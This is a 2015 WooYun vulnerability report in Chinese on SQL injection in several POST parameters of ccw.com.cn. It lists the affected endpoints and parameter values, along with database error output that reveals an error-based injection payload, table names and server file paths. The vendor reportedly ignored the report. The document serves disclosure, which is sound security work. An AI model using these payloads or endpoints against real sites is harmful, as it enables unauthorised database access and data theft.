当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131567

漏洞标题:计世网注入

相关厂商:计世网

漏洞作者: kv2

提交时间:2015-08-04 16:13

修复时间:2015-08-09 16:14

公开时间:2015-08-09 16:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

多个页面存在POST注入漏洞,可脱裤

详细说明:

http://www.ccw.com.cn/article/get_eyan_comment
post参数:id=98177&page=%2527&pagesize=50

A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-50, 50' at line 6
SELECT * FROM (`ex_comment`) WHERE `eyanid` = '98177' AND `status` = 0 ORDER BY `dateline` desc LIMIT -50, 50
Filename: /data/www/models/comment_model.php
Line Number: 42


http://www.ccw.com.cn/index/more_ajax
post参数:page=2&pagesize=1

A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1,-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33' at line 1
SELECT * FROM ex_eyan WHERE status=0 and id not in (79540,79540) AND recommend%2>0 and rem_dateline<>0 AND rem_dateline<1438672193 ORDER BY rem_dateline DESC, level ASC LIMIT -1,-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Filename: /data/www/controllers/index.php
Line Number: 322


类似的还有很多地方
http://www.ccw.com.cn/space/eyan_more/11567 post参数:pagesize
http://www.ccw.com.cn/index/more_ajax post参数:pagesize
http://www.ccw.com.cn/index/ajax_get_column/post参数:pages
http://www.ccw.com.cn/space/eyan_more/11567 post参数:page

漏洞证明:

1.png


2.png


修复方案:

过滤

版权声明:转载请注明来源 kv2@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-09 16:14

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无